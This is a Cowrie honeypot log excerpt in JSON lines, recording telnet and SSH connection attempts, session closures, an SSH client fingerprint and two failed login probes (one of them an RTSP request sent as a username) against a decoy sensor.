{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10104,"dst_ip":"10.17.0.5","dst_port":23,"session":"bada581e86fc","protocol":"telnet","message":"New connection: 34.76.15.165:10104 (10.17.0.5:23) [session: bada581e86fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.809608Z"}
{"eventid":"cowrie.session.closed","duration":0.00525212287902832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.814721Z","src_ip":"34.76.15.165","session":"bada581e86fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10106,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b977777a8fe","protocol":"telnet","message":"New connection: 34.76.15.165:10106 (10.17.0.5:23) [session: 3b977777a8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.965746Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10120,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed34ff9c3f6","protocol":"telnet","message":"New connection: 34.76.15.165:10120 (10.17.0.5:23) [session: 8ed34ff9c3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.119513Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 849","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 849] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.125088Z","src_ip":"34.76.15.165","session":"8ed34ff9c3f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7000784873962402,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.819498Z","src_ip":"34.76.15.165","session":"8ed34ff9c3f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8582682609558105,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.823900Z","src_ip":"34.76.15.165","session":"3b977777a8fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1751577854156494,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.828983Z","src_ip":"34.76.15.165","session":"94b44b24cee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.332869052886963,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.832663Z","src_ip":"34.76.15.165","session":"f4de5c05bb18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4922821521759033,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.836730Z","src_ip":"34.76.15.165","session":"6db9a519a739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.6545569896697998,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.841203Z","src_ip":"34.76.15.165","session":"f410aa668a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8138058185577393,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.845794Z","src_ip":"34.76.15.165","session":"4734ac95dccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9785966873168945,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.849621Z","src_ip":"34.76.15.165","session":"1e95c14552dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2969772815704346,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.855106Z","src_ip":"34.76.15.165","session":"d2f6fafa4bf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4541122913360596,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.858860Z","src_ip":"34.76.15.165","session":"e8c16cd4ed89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.61421275138855,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.863616Z","src_ip":"34.76.15.165","session":"72ef9c28f93d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.153428792953491,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.867242Z","src_ip":"34.76.15.165","session":"d55c74370bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.776304244995117,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.870555Z","src_ip":"34.76.15.165","session":"c1eaf5d37fea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9362974166870117,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.877558Z","src_ip":"34.76.15.165","session":"fbb5d9a9e623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0926342010498047,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.880899Z","src_ip":"34.76.15.165","session":"77f148148722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.252328872680664,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.884017Z","src_ip":"34.76.15.165","session":"47450712aeb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5650763511657715,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.889254Z","src_ip":"34.76.15.165","session":"bb6a307f46cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7998321056365967,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.894372Z","src_ip":"34.76.15.165","session":"a1d57f7fc47f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.111943244934082,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.898100Z","src_ip":"34.76.15.165","session":"a27875d32fd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.356593132019043,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.901252Z","src_ip":"34.76.15.165","session":"cba56581d9fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.963569164276123,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.904071Z","src_ip":"34.76.15.165","session":"e3041fd80197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.2747814655303955,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.907185Z","src_ip":"34.76.15.165","session":"2c187f3e35ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.431349515914917,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.910209Z","src_ip":"34.76.15.165","session":"46ecfc753c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.592068910598755,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.918581Z","src_ip":"34.76.15.165","session":"e632e1799479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.750318765640259,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.922083Z","src_ip":"34.76.15.165","session":"5cd972f376f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9083991050720215,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:46.926661Z","src_ip":"34.76.15.165","session":"448c0225d03c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":33236,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c8aa09aa882","protocol":"ssh","message":"New connection: 61.222.211.114:33236 (10.17.0.5:22) [session: 5c8aa09aa882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:18.808009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:18.811934Z","src_ip":"61.222.211.114","session":"5c8aa09aa882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:19.023536Z","src_ip":"61.222.211.114","session":"5c8aa09aa882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test123","message":"login attempt [testuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:19.899935Z","src_ip":"61.222.211.114","session":"5c8aa09aa882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:21.113019Z","src_ip":"61.222.211.114","session":"5c8aa09aa882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00124454498291,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:26.785629Z","src_ip":"187.181.177.252","session":"815d93025ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.181.177.252","src_port":33400,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86803ced144","protocol":"telnet","message":"New connection: 187.181.177.252:33400 (159.203.135.109:23) [session: c86803ced144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:28.123646Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.181.177.252","src_port":33428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31a46969580","protocol":"telnet","message":"New connection: 187.181.177.252:33428 (159.203.135.109:23) [session: c31a46969580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:31.961563Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51184,"dst_ip":"10.17.0.5","dst_port":23,"session":"85f9ae39c5cf","protocol":"telnet","message":"New connection: 103.75.182.27:51184 (10.17.0.5:23) [session: 85f9ae39c5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:32.733590Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51190,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f3c7fbadf08","protocol":"telnet","message":"New connection: 103.75.182.27:51190 (10.17.0.5:23) [session: 8f3c7fbadf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:39.642792Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":59806,"dst_ip":"10.17.0.5","dst_port":23,"session":"4846a446c684","protocol":"telnet","message":"New connection: 103.75.182.27:59806 (10.17.0.5:23) [session: 4846a446c684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:42.763442Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":59812,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b07e53edb19","protocol":"telnet","message":"New connection: 103.75.182.27:59812 (10.17.0.5:23) [session: 9b07e53edb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:17:44.601548Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":46792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b38e2ca77b0","protocol":"telnet","message":"New connection: 103.75.182.27:46792 (10.17.0.5:23) [session: 5b38e2ca77b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:01.673646Z"}
{"eventid":"cowrie.session.closed","duration":30.442512273788452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:03.175970Z","src_ip":"103.75.182.27","session":"85f9ae39c5cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507993936538696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:10.150658Z","src_ip":"103.75.182.27","session":"8f3c7fbadf08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50976,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c194fbe08f8","protocol":"telnet","message":"New connection: 104.245.105.2:50976 (10.17.0.5:23) [session: 7c194fbe08f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:10.769192Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":40364,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0134ce8e7e9","protocol":"telnet","message":"New connection: 103.75.182.27:40364 (10.17.0.5:23) [session: a0134ce8e7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:12.636223Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":40380,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdedd157ed19","protocol":"telnet","message":"New connection: 103.75.182.27:40380 (10.17.0.5:23) [session: cdedd157ed19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:12.663209Z"}
{"eventid":"cowrie.session.closed","duration":30.56256413459778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:13.325693Z","src_ip":"103.75.182.27","session":"4846a446c684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67061686515808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:15.272041Z","src_ip":"103.75.182.27","session":"9b07e53edb19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":40382,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e516535fc3","protocol":"telnet","message":"New connection: 103.75.182.27:40382 (10.17.0.5:23) [session: 11e516535fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:15.768747Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":49768,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3cf797fd073","protocol":"telnet","message":"New connection: 103.75.182.27:49768 (10.17.0.5:23) [session: b3cf797fd073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:22.687761Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":49784,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b7165b1e7b","protocol":"telnet","message":"New connection: 103.75.182.27:49784 (10.17.0.5:23) [session: 16b7165b1e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:29.812201Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":49790,"dst_ip":"10.17.0.5","dst_port":23,"session":"389593738af9","protocol":"telnet","message":"New connection: 103.75.182.27:49790 (10.17.0.5:23) [session: 389593738af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:30.639700Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51700,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f95d57f503","protocol":"telnet","message":"New connection: 103.75.182.27:51700 (10.17.0.5:23) [session: 55f95d57f503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:31.608286Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51708,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa96a5cfc513","protocol":"telnet","message":"New connection: 103.75.182.27:51708 (10.17.0.5:23) [session: fa96a5cfc513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:31.640058Z"}
{"eventid":"cowrie.session.closed","duration":30.534456729888916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:32.207967Z","src_ip":"103.75.182.27","session":"5b38e2ca77b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b672a98e357e","protocol":"telnet","message":"New connection: 103.75.182.27:51710 (10.17.0.5:23) [session: b672a98e357e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:39.628645Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51714,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57b3f8111ea","protocol":"telnet","message":"New connection: 103.75.182.27:51714 (10.17.0.5:23) [session: b57b3f8111ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:39.677287Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51718,"dst_ip":"10.17.0.5","dst_port":23,"session":"5da9024a4521","protocol":"telnet","message":"New connection: 103.75.182.27:51718 (10.17.0.5:23) [session: 5da9024a4521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:40.858317Z"}
{"eventid":"cowrie.session.closed","duration":31.133817434310913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:41.902880Z","src_ip":"104.245.105.2","session":"7c194fbe08f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.18.6","src_port":10382,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f202a4f732","protocol":"telnet","message":"New connection: 170.80.18.6:10382 (10.17.0.5:23) [session: 42f202a4f732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:41.952895Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":48214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ae943c837f","protocol":"telnet","message":"New connection: 103.160.107.19:48214 (10.17.0.5:23) [session: e2ae943c837f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:42.473854Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51332,"dst_ip":"10.17.0.5","dst_port":23,"session":"c820588068e6","protocol":"telnet","message":"New connection: 103.75.182.27:51332 (10.17.0.5:23) [session: c820588068e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:42.617296Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c5863273723","protocol":"telnet","message":"New connection: 103.75.182.27:51336 (10.17.0.5:23) [session: 4c5863273723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:42.669899Z"}
{"eventid":"cowrie.session.closed","duration":30.512515544891357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:43.148583Z","src_ip":"103.75.182.27","session":"a0134ce8e7e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540273904800415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:43.203521Z","src_ip":"103.75.182.27","session":"cdedd157ed19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37995219230652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:46.148590Z","src_ip":"103.75.182.27","session":"11e516535fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51344,"dst_ip":"10.17.0.5","dst_port":23,"session":"31312cc1d884","protocol":"telnet","message":"New connection: 103.75.182.27:51344 (10.17.0.5:23) [session: 31312cc1d884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:46.667205Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51358,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e3d7d19ccc","protocol":"telnet","message":"New connection: 103.75.182.27:51358 (10.17.0.5:23) [session: f2e3d7d19ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:48.618738Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":51360,"dst_ip":"10.17.0.5","dst_port":23,"session":"5018df8d182b","protocol":"telnet","message":"New connection: 103.75.182.27:51360 (10.17.0.5:23) [session: 5018df8d182b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:50.715314Z"}
{"eventid":"cowrie.session.closed","duration":30.560944080352783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:53.248574Z","src_ip":"103.75.182.27","session":"b3cf797fd073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.563910722732544,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:54.516680Z","src_ip":"170.80.18.6","session":"42f202a4f732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":56026,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b29bbe3cda1","protocol":"telnet","message":"New connection: 103.75.182.27:56026 (10.17.0.5:23) [session: 7b29bbe3cda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:18:54.638376Z"}
{"eventid":"cowrie.session.closed","duration":30.57593035697937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:19:00.387977Z","src_ip":"103.75.182.27","session":"16b7165b1e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58490252494812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:19:01.224450Z","src_ip":"103.75.182.27","session":"389593738af9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56702947616577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:19:02.206966Z","src_ip":"103.75.182.27","session":"fa96a5cfc513","protocol":"telnet"}
